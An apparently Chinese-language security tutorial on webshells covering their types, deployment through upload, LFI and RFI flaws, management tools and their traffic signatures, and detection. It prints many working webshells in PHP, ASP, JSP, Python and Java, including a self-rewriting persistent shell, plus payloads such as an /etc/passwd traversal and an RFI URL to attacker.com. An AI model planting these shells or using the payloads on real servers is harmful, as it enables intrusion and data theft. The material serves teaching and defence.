【Web安全】深入理解Webshell:部署、检测与防御

https://www.freebuf.com/articles/network/307685.html
一文讲解webshell https://cloud.tencent.com/developer/article/1635250

基础

Webshell就是以asp、php、jsp或cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。

WebShell的特点

  1. 持久化远程访问: Webshell脚本通常会包含后门,黑客上传Webshell之后,就可以充分利用Webshell的后门实现远程访问并控制服务器,从而达到长期控制网站服务器的目的。此外,在上传完Webshell之后,黑客会选择自己修复漏洞,以确保没有其他人会利用该漏洞。通过这种方式,黑客就可以一种低调的姿态,避免与管理员进行任何交互,同时仍然获得相同的结果。
  2. 提权: 在服务器没有配置错误的情况下,Webshell将在web服务器的用户权限下运行,而用户权限是有限的。通过Webshell,黑客可以利用系统上的本地漏洞来实现权限提升,从而获得Root权限,这样黑客基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等。
  3. 隐蔽性极强: Webshell可以嵌套在正常网页中运行,且不容易被查杀。它还可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据都是通过80端口传递,因此不会被防火墙拦截,在没有记录流量的情况下,Webshell使用post包发送,也不会被记录在系统日志中,只会在Web日志中记录一些数据提交的记录。

WebShell分类
Webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,JSP脚本木马,也有基于.NET的脚本木马。根据时代和技术的变迁,也有用python和lua编写的脚本木马,常用有如下几种:

  • 大马:体积大,功能全;会调用系统关键函数;以代码加密进行隐藏
  • 小马:体积小,功能少;一般只有一个上传功能,用于上传大马
  • 一句话木马:代码短;使用场景大,可单独生成文件,可插入文件;安全性高,隐藏性强,可变形免杀;框架不变,数据执行,数据传递;使用客户端管理webshell,省去使用命令行以及各种参数配置,可以使用中国蚁剑图形化操作webshell
  • 打包马:主要用于打包网站源码
  • 拖库马:主要用于导出网站数据库
  • 内存马:无文件落地;极难检测和发现;难以清除

WebShell原理
不同脚本类型的一句话木马:

1
2
3
4
<%eval request("cmd")%>
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
<?php @eval($_POST['cmd']); ?>
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

PHP一句话木马核心步骤如下:

  1. 数据传递: $_GET、$_POST、$_COOKIES、$_REQUEST、$_FILE、$_SERVER
    从远程远程URL中获取数据: file_get_contents、curl、svn_checkout…
    (将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取)
    从本地磁盘文件中获取数据: file、file_get_contents…
    (将需要执行的指令数据放在本地磁盘文件中,利用IO函数来读取)
    从数据库中读取(将需要执行的指令放在数据库中,利用数据库函数来读取)
    从图片头部中获取: exif_read_data…(将需要执行的指令数据放在图片头部中,利用图片操作函数来读取)
  2. 代码执行
    代码执行函数:eval、assert、system…执行(这是最普通、标准的代码执行)
    LFI(本地文件包含):include、require…(利用浏览器的伪协议将文件包含转化为代码执行)
    动态函数执行:($()…PHP的动态函数特性)
    Curly Syntax:(${${…}}…它将执行花括号间的代码,并将结果替换回去。这种思路可以把变量赋值的漏洞转化为代码执行的机会)

PHP中常被利用的函数
1. 简单的PHP Webshell 使用 system() 函数

1
2
3
4
5
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>

2. 使用 exec() 函数的Webshell

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['cmd'])) {
exec($_GET['cmd'], $output);
foreach ($output as $line) {
echo htmlspecialchars($line, ENT_QUOTES) . "<br>";
}
}
?>
3. 使用 `shell_exec()` 函数的Webshell
1
2
3
4
5
6
<?php
if(isset($_GET['cmd'])) {
$output = shell_exec($_GET['cmd']);
echo "<pre>" . htmlspecialchars($output, ENT_QUOTES) . "</pre>";
}
?>
4. 使用 `passthru()` 函数的Webshell
1
2
3
4
5
<?php
if(isset($_GET['cmd'])) {
passthru($_GET['cmd']);
}
?>
5. 使用 `proc_open()` 的高级Webshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if(isset($_GET['cmd'])) {
$descriptorspec = array(
0 => array("pipe", "r"), // stdin 是个管道,从中读取数据
1 => array("pipe", "w"), // stdout 是个管道,向其中写入数据
2 => array("pipe", "w") // stderr 是一个文件,写入到 tmp/error-output.txt
);

$process = proc_open($_GET['cmd'], $descriptorspec, $pipes);

if (is_resource($process)) {
echo "<pre>";
while ($line = fgets($pipes[1])) {
echo htmlspecialchars($line);
}
echo "</pre>";

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
}
?>

部署技术

  1. 文件上传漏洞
    文件上传漏洞通常发生在应用程序未能正确验证上传文件的真实类型和内容时。
    攻击示例:
    考虑一个基本的图片上传功能,以下是一个简单的PHP代码示例,该代码存在文件上传漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_FILES['uploaded_file']['name'])) {
$target_path = "uploads/";
$target_path = $target_path . basename( $_FILES['uploaded_file']['name']);

if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target_path)) {
echo "File uploaded successfully!";
} else{
echo "There was an error uploading the file, please try again!";
}
}
?>

此代码片段接受上传的文件并将其存储在服务器的“uploads”目录中。没有对文件类型或内容进行任何验证。
攻击Payload:

1
2
3
4
5
GIF89a;
<?php
echo 'This is a webshell!';
system($_GET['cmd']);
?>

攻击者可以将此PHP代码保存为shell.php.gif,并上传到服务器。由于文件以“GIF”开头,一些简单的文件类型检查(如检查文件扩展名)可能会被绕过。一旦上传,攻击者可以通过访问URL http://targetsite.com/uploads/shell.php.gif?cmd=whoami 执行命令。

深入分析:
这种类型的漏洞表明开发者可能忽略了多层次的安全检查,例如内容白名单验证、MIME类型检查和文件内容扫描等。预防此类攻击的策略包括实施严格的文件验证逻辑、限制上传文件的类型、并使用随机生成的文件名存储上传的文件。

  1. 服务器端包含(SSI)漏洞
    SSI漏洞允许攻击者通过在页面中插入恶意内容来执行服务器端脚本。
    漏洞代码示例:

    1
    2
    3
    4
    <?php
    $file = $_GET['file'];
    include($file);
    ?>

    此代码片段直接从URL参数中取得文件名并包含该文件,未对输入进行过滤或验证。
    攻击Payload:

    1
    http://targetsite.com/page.php?file=../../../../etc/passwd

    通过使用目录遍历攻击(即路径穿越攻击),攻击者尝试访问系统敏感文件,如/etc/passwd
    深入分析:
    服务器端脚本应限制可包含的文件范围,并对输入路径进行严格的验证。避免直接将不受信任的输入用于文件操作是预防SSI漏洞的关键。

  2. 远程文件包含(RFI)
    RFI允许攻击者远程执行恶意脚本,通常是通过在包含函数中指定外部URL。

漏洞代码示例:

1
2
3
4
5
<?php
if(isset($_GET['url'])){
include($_GET['url']);
}
?>

此PHP脚本通过url参数直接包含远程文件,没有验证URL的合法性。
攻击Payload:

1
http://targetsite.com/page.php?url=http://attacker.com/malicious.php

攻击者通过将url参数设置为控制的恶意PHP文件的URL,迫使服务器执行远程PHP代码。
深入分析:
开发者应禁用PHP配置中的allow_url_include选项,且应用程序不应直接将外部数据用于关键函数。确保所有包含的文件都来自受信任的源头,是预防RFI的关键策略。

Webshell的类型

PHP 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Shell {
public function file_manager() {
// 文件管理逻辑
}
public function database_manager() {
// 数据库操作逻辑
}
public function execute_command($cmd) {
return shell_exec($cmd);
}
}
$shell = new Shell;
if (isset($_POST['cmd'])) {
echo $shell->execute_command($_POST['cmd']);
}
?>

ASP 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%
Class Shell
Public Function ExecuteCommand(cmd)
Dim shell
Set shell = Server.CreateObject("WScript.Shell")
ExecuteCommand = shell.Exec(cmd).StdOut.ReadAll()
Set shell = Nothing
End Function
End Class

Dim shell
Set shell = New Shell
If Request.Form("cmd") <> "" Then
Response.Write(shell.ExecuteCommand(Request.Form("cmd")))
End If
Set shell = Nothing
%>

JSP 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<%@ page import="java.io.*"%>
<%
class Shell {
public String executeCommand(String command) {
StringBuffer output = new StringBuffer();
Process p;
try {
p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = "";
while ((line = reader.readLine())!= null) {
output.append(line + "\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
Shell shell = new Shell();
if(request.getParameter("cmd") != null) {
out.println(shell.executeCommand(request.getParameter("cmd")));
}
%>

2. 小马(Simple Shells)

PHP 示例:

1
2
3
4
5
<?php
if(isset($_GET['cmd'])) {
echo shell_exec($_GET['cmd']);
}
?>

ASP 示例:

1
2
3
4
5
6
7
8
<%
If Request.QueryString("cmd") <> "" Then
Dim shell
Set shell = Server.CreateObject("WScript.Shell")
Response.Write(shell.Exec(Request.QueryString("cmd")).StdOut.ReadAll())
Set shell = Nothing
End If
%>

JSP 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
<%
if(request.getParameter("cmd") != null) {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(request.getParameter("cmd"));
InputStream is = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
}
%>

3. 一句话木马(One-liner Shells)

PHP 示例:

1
<?php @eval($_POST['cmd']); ?>

ASP 示例:

1
<% Execute(Request("cmd")) %>

JSP 示例:

1
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Python 示例(用于服务器支持Python的情况):

1
2
# Python版本的一句话木马相对较少见,但原理类似
print(exec(request.form['cmd']))

4. 打包马(Packing Shells)

PHP 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$zip = new ZipArchive();
$filename = "./my_backup.zip";

if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
exit("cannot open <$filename>\n");
}

$dir = 'path/to/directory/';

// 添加目录到zip文件
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir), RecursiveIteratorIterator::LEAVES_ONLY);

foreach ($files as $name => $file) {
if (!$file->isDir()) {
$filePath = $file->getRealPath();
$relativePath = substr($filePath, strlen($dir) + 1);
$zip->addFile($filePath, $relativePath);
}
}

$zip->close();
echo 'Backup created!';
?>

ASP 示例:

1
2
3
4
5
6
7
8
9
<%
Dim objFSO, objFolder, objFile
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(Server.MapPath("path/to/directory"))

For Each objFile in objFolder.Files
Response.Write(objFile.Name & "<br>")
Next
%>

注:ASP本身没有内建的压缩库支持,但可以调用外部程序或组件来实现。

JSP 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<%@ page import="java.util.zip.*,java.io.*"%>
<%
String sourceFolder = "/path/to/directory";
String outputZipFile = "output.zip";

byte[] buffer = new byte[1024];

try {
FileOutputStream fos = new FileOutputStream(outputZipFile);
ZipOutputStream zos = new ZipOutputStream(fos);
File dir = new File(sourceFolder);
File[] files = dir.listFiles();

for (File file : files) {
FileInputStream fis = new FileInputStream(file);
zos.putNextEntry(new ZipEntry(file.getName()));

int length;
while ((length = fis.read(buffer)) > 0) {
zos.write(buffer, 0, length);
}
zos.closeEntry();
fis.close();
}
zos.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
%>

5. 拖库马(Database Dump Shells)

PHP 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";

// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检查连接
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

$sql = "SELECT * FROM Users";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
// 输出数据
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - Name: " . $row["username"]. " " . $row["email"]. "<br>";
}
} else {
echo "0 results";
}
$conn->close();
?>

ASP 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%
Dim conn, rs, sql
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "Provider=SQLOLEDB;Data Source=your_server;Initial Catalog=your_db;User Id=your_username;Password=your_password;"

sql = "SELECT * FROM Users"
Set rs = conn.Execute(sql)

Do While Not rs.EOF
Response.Write("Username: " & rs("username") & "<br>")
rs.MoveNext
Loop

rs.Close
Set rs = Nothing
conn.Close
Set conn = Nothing
%>

JSP 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page import="java.sql.*" %>
<%
String url = "jdbc:mysql://localhost:3306/myDB";
String user = "username";
String password = "password";

Connection conn = DriverManager.getConnection(url, user, password);
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM Users");

while (rs.next()) {
out.println("Username: " + rs.getString("username") + "<br>");
}

rs.close();
stmt.close();
conn.close();
%>

6. 内存马(In-Memory Shells)

内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。

Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

PHP内存马,也叫做PHP不死马、不死僵尸,在线下AWD中是常用手段之一。在蚁剑中也有专门的插件可以一键注入内存马。
原理也很简单,相对于Java可以直接把整个shell写入内存,php内存马的实现则是将一个木马反复写入,达到无法删除的目的。
PHP 示例(利用PHP-FPM漏洞的示例,虚构):

1
2
3
4
5
6
7
8
9
10
11
<?php
ignore_user_abort(true); //设置客户端断开连接时是否中断脚本的执行
set_time_limit(0); //设置脚本最大执行时间,linux下可能不大好用
unlink(__FILE__); //删除自身
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]);?>';
while (1) {
file_put_contents($file, $code);//恶意代码
usleep(5000); //延迟执行可有可无
}
?>

本质上原理是不变,执行死循环,然后删除自身。但实际上这样做还是会有文件落地,只是管理员删不掉、删不完罢了。也可以用利用fastcgi对php攻击执行命令,但这样是否算一个驻留wenshell还有待争议。

Python 示例(使用flask框架):

1
2
3
4
5
6
7
8
9
10
from flask import Flask, request
app = Flask(__name__)

@app.route('/exec', methods=['POST'])
def exec_code():
exec(request.data)
return "Code executed"

if __name__ == '__main__':
app.run()

注:这个示例表明代码直接从请求中执行,不进行任何磁盘写入操作。

Java 示例(通过Servlet执行命令):

1
2
3
4
5
6
7
8
9
10
11
12
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class InMemoryShell extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String command = request.getReader().readLine();
Process proc = Runtime.getRuntime().exec(command);
OutputStream out = proc.getOutputStream();
out.close();
}
}

WebShell管理工具

  1. 中国菜刀(Chopper)
    中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。
    官方网站:http://www.maicaidao.com/

  2. 中国蚁剑(AntSword)
    中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。使用编/解码器进行流量混淆可绕过WAF,并且有多款实用插件。
    因为菜刀也许有后门(偷shell),不放心可以用蚁剑,蚁剑还可以看源码,功能也比菜刀强些。
    项目地址:
    https://github.com/AntSwordProject/antSword

  3. 冰蝎(Behinder)
    冰蝎是一款基于Java开发的动态二进制加密通信流量的新型Webshell客户端,由于它的通信流量被加密,使用传统的WAF、IDS等设备难以检测,目前在HW中使用较多的一款工具。下载下来的文件夹server 里的都是木马。
    功能介绍原文链接:
    《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799
    工作原理原文链接:
    《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744
    《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758
    《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774
    项目地址:
    http://github.com/rebeyond/Behinder

  4. 哥斯拉(Godzilla)
    哥斯拉是一款继冰蝎之后又一款于Java开发的加密通信流量的新型Webshell客户端,内置了3种有效载荷以及6种加密器,6种支持脚本后缀,20个内置插件,也是目前在HVV中使用较多的一款工具。
    项目地址:https://github.com/BeichenDream/Godzilla

  5. weevely
    weevely 是 Linux 系统自带的菜刀,使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建,可以算作一款 php菜刀 替代工具,具有很好的隐蔽性。
    在linux上使用时还是很好的,集服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能。

不同的Webshell管理工具的流量特征如下:
https://blog.csdn.net/weixin_45585955/article/details/130075885

  1. 菜刀
    首先请求体中传递的payload为base64编码,并且存在固定的,其次请求体中存在eval,base64等特征字符。最后传给cmd的这些流量字符中有自己的特征,1、都是系统命令;2、必须以分号结尾;3、数据包源一般是ip。
    中国菜刀2011版本及2014版本各语言WebShell链接流量特征
    - PHP类WebShell链接流量
    其中特征主要在body中,将body中流量进行url解码后如下:
    其中特征点有如下三部分,
    第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
    第二:(base64_decode($_POST[z0])),(base64_decode($_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;
    第三:&z0=QGluaV9zZXQ…,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。
    注:
    1.有少数时候eval方法会被assert方法替代。
    2.$_POST也会被$_GET、$_REQUEST替代。
    3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。
    - SP类WebShell链接流量:
    该流量是WebShell链接流量的第一段链接流量,其中特征主要在i=A&z0=GB2312,菜刀链接JSP木马时,第一个参数定义操作,其中参数值为A-Q,如i=A,第二个参数指定编码,其参数值为编码,如z0=GB2312,有时候z0后面还会接着又z1=参数用来加入攻击载荷。
    注:其中参数名i、z0、z1这种参数名是会变的,但是其参数值以及这种形式是不会变得,最主要就是第一个参数值在A-Q,这种是不变的。
    - ASP类WebShell链接流量:
    其中body流量进行URL解码后
    其中特征点有如下三部分,
    第一:“Execute”,Execute函数用于执行传递的攻击payload,这是必不可少的,这个等同于php类中eval函数;
    第二:OnError ResumeNext,这部分是大部分ASP客户端中必有的流量,能保证不管前面出任何错,继续执行以下代码。
    第三:Response.Write和Response.End是必有的,是来完善整个操作的。
    这种流量主要识别这几部分特征,在正常流量中基本没有。
    注:OnError Resume Next这个特征在大部分流量中存在,极少数情况没有。
    中国菜刀2016版本各语言WebShell链接流量特征:
    - PHP类WebShell链接流量:
    其中特征主要在body中,将body中部分如下:
    这个版本中流量最大的改变就是将特征进行打断混淆,这也给我们识别特征提供一种思路。
    其中特征点有如下三部分,
    第一:“”Ba”.”SE6”.”4_dEc”.”OdE”,这部分是将base64解码打断使用.来连接。
    第二:@ev”.”al,这部分也是将@eval这部分进行打断连接,可以识别这段代码即可。
    第三:QGluaV9zZXQoImRpc3BsYXlf…,该部分是传递攻击payload,payload依旧使用Base64编码的,所以可以利用base64解码可以看到攻击明文来识别。
    注:有少数时候eval方法会被assert方法替代。
    - JSP类WebShell链接流量:
    该版本JSPwebshell流量与之前版本一样,
    所以分析如上:该流量是WebShell链接流量的第一段链接流量,其中特征主要在i=A&z0=GB2312,菜刀链接JSP木马时,第一个参数定义操作,其中参数值为A-Q,如i=A,第二个参数指定编码,其参数值为编码,如z0=GB2312,有时候z0后面还会接着又z1=、z2=参数用来加入攻击载荷。
    注:其中参数名i、z0、z1这种参数名是会变的,但是其参数值以及这种形式是不会变得,最主要就是第一个参数值在A-Q,这种是不变的。
    - ASP类WebShell链接流量:
    其中body流量为:
    2016版本流量这链接流量最大的变化在于body中部分字符被unicode编码替换混淆,所以这种特征需要提取出一种形式来,匹配这个混淆特征,比如“字符+%u0000+字符+%u0000”这种形式来判断该流量。
    或者直接将这部分代码直接进行unicode解码,可以获取到如2011或2014版本的asp所示的流量。可以根据上一段特征来进行判断。
    这种流量主要识别这几部分特征,在正常流量中基本没有。
  2. 蚁剑:使用base64加密,流量中包含@ini_set ("display_errors","0")代码
    蚁剑流量特征概述:
    可以对流量进行加密、混淆。但是有些关键代码没有被加密,如:PHP中的ini_set;ASP中的OnError,response等,流量特征:使用bse64加密的payload,数据包存在以下base加密的eval命令执行,数据包的payload内容存在几个分段内容,分别都使用base加密,解密后可以看到相关的路径,命令等;
    (1)蚁剑PHP类WebShell链接流量
    其中body流量进行URL解码后为:
    其中流量最中明显的特征为@ini_set(“display_errors”,”0”);这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现。
    (2)蚁剑ASP类WebShell链接流量
    其中body流量进行URL解码后为:
    我们可以看出蚁剑针对ASP类的WebShell流量与菜刀的流量很像,其中特征也是相同,如OnError ResumeNext、Response.End、Response.Write,其中execute在蚁剑中被打断混淆了,变成了拼接形式Ex”&cHr(101)&”cute,同时该流量中也使用了eval参数,可以被认为明显特征。
  3. 冰蝎:客户端以Get形式发起带密码的请求,服务端产生随机密钥并返回给客户端,客户端用AES加密payload。默认连接密码为”e45e329feb5d925b”。
    冰蝎流量特征概述:是一款动态二进制加密网站管理客户端。主要用于配合服务端shell的动态二进制加密通信,适用于WAF拦截回显等场景,客户端的流量无法检测。
    (1)冰蝎3.0:
    随着冰蝎的不断更新,功能越来越完善,到3.0已经具备了红队需要的各种功能,特别是反弹shell的msf和cs上线,以及自定义代码执行,灵活性很强。基本做到开箱即用且功能齐全,唯一的问题是,工具流行之后,webshell本体容易被查杀,需要做webshell本体的免杀。
    由于冰蝎把类动态加载这个关键技术摆在台面上,在一段时间的研究后,Java内存马已经有了很多可用的思路,比如新增filter,只从内存操作,不依赖落地文件,就能访问到内存中的Webshell,这就解决了webshell本体免杀问题。 这种情况下冰蝎更新v3.0 beta7版本,增加了Java内存马功能,并且使用了更高级的Java Agent技术,通过hook Java进程中原本正常的类,实现内存马功能,并在beta8增加了内存马防查杀机制。
    (2)冰蝎4.0
    冰蝎更新了4.0版本,增加了webshell生成功能,可以完全自定义流量加密方法,对流量加密的灵活性又大大增加。在webshell工具领域,冰蝎独占鳌头。在去年的攻防演练中统计到的webshell有效攻击中,有80%都是使用的冰蝎或冰蝎变种,足以证明冰蝎的强大功能。
  4. 哥斯拉
    https://blog.csdn.net/weixin_46684578/article/details/122148960
    https://www.cnblogs.com/danyue/p/18146698
    https://blog.csdn.net/m0_74077634/article/details/141931463
    https://www.cnblogs.com/smileleooo/p/18178347
    是基于流量、HTTP全加密的webshell工具;哥斯拉全部类型的shell 能绕过市面所有静态查杀;哥斯拉流量加密能绕过市面全部流量waf。

Webshell检测方法

你所不知道的Webshell–进阶篇 https://cloud.tencent.com/developer/article/1647762
目前检测Webshell的方式较多,有基于HTTP流量、基于Web访问日志、基于文件特征等方法
继上期介绍了Webshell的基础知识和防护技巧后,本期我们将深入探讨Webshell的检测方法。由于Webshell的隐蔽性和多变性,仅依靠单一手段难以有效检测。因此,本文将重点介绍多种检测方法,以协助安全人员全面了解并部署有效的Webshell检测策略。

  1. 基于HTTP流量的检测
    利用网络监控工具分析HTTP流量是检测Webshell活动的一种有效手段。通过监控异常的HTTP请求,如非标准时间的高频请求、含有异常参数的请求等,可以初步判断是否存在Webshell活动。
    实施步骤:
  • 部署网络嗅探工具,如Wireshark或tcpdump,捕捉经过的HTTP包。
  • 分析HTTP请求,特别注意POST请求,这类请求通常用于Webshell命令的传输。
  • 标记异常模式,如频繁访问、大量上传下载或者命令参数等。
  1. 基于Web访问日志的检测
    Web服务器的访问日志记录了所有进入网站的请求,通过分析这些日志,可以发现异常访问模式或疑似Webshell的踪迹。

实施步骤:

  • 收集访问日志,如Apache的access.log,Nginx的access.log。
  • 使用日志分析工具,如GoAccess或ELK Stack(Elasticsearch, Logstash, Kibana),对日志文件进行深入分析。
  • 设置警报,对于异常的访问模式,如非业务时间的大量请求、频繁的后台路径访问等,设置自动警报。
  1. 基于文件特征的检测
    文件特征检测通过分析Webshell的代码模式进行识别。该方法依赖于更新的数据库和特征码,用于识别已知的Webshell。

实施步骤:

  • 使用YARA工具,根据已知的Webshell特征创建规则。
  • 定期更新规则库,跟随新的Webshell变化更新。
  • 扫描Web目录,将YARA与定期扫描任务结合,检查服务器上的文件。
  1. 基于行为分析的检测
    行为分析不依赖于Webshell的代码特征,而是通过监测系统的行为来识别异常。这包括文件的异常创建、修改,以及系统命令的异常调用等。

实施步骤:

  • **部署Sysmon (System Monitor)**,监控Windows环境下的系统活动,如进程创建、网络连接等。
  • 使用auditd服务,在Linux环境下监控关键文件的读写和执行行为。
  • 分析系统调用日志,对于使用系统管理命令如netstatipconfig等频繁的进程进行进一步分析。

逃避技术

详见webshell免杀笔记